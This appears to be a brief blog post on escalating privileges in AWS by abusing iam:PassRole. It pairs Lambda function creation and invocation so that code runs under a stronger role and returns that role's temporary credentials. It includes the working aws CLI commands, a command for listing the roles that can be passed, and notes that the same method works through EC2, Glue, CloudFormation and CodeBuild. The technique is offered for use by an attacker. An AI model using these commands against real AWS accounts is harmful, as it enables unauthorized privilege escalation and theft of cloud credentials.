AWS privilege escalation via iam:PassRole and Lambda

Aug 2, 2026 · 1 min read

iam:PassRole is rarely scoped tightly. Combine it with lambda create and invoke to run code as a stronger role and read its temporary credentials.

bash

aws lambda create-function --function-name x --runtime python3.12 
  --role arn:aws:iam::ACCT:role/PrivRole --handler i.h --zip-file fileb://f.zip
aws lambda invoke --function-name x out.json   # function returns its env creds

Enumerate passable roles first, do not guess.

bash

aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]'

Pro note: the same PassRole primitive works through ec2 RunInstances (instance profile), glue, cloudformation, and codebuild; pick whichever action your identity actually holds. Tools like pmapper or cloudsplaining map these escalation edges across the whole account automatically.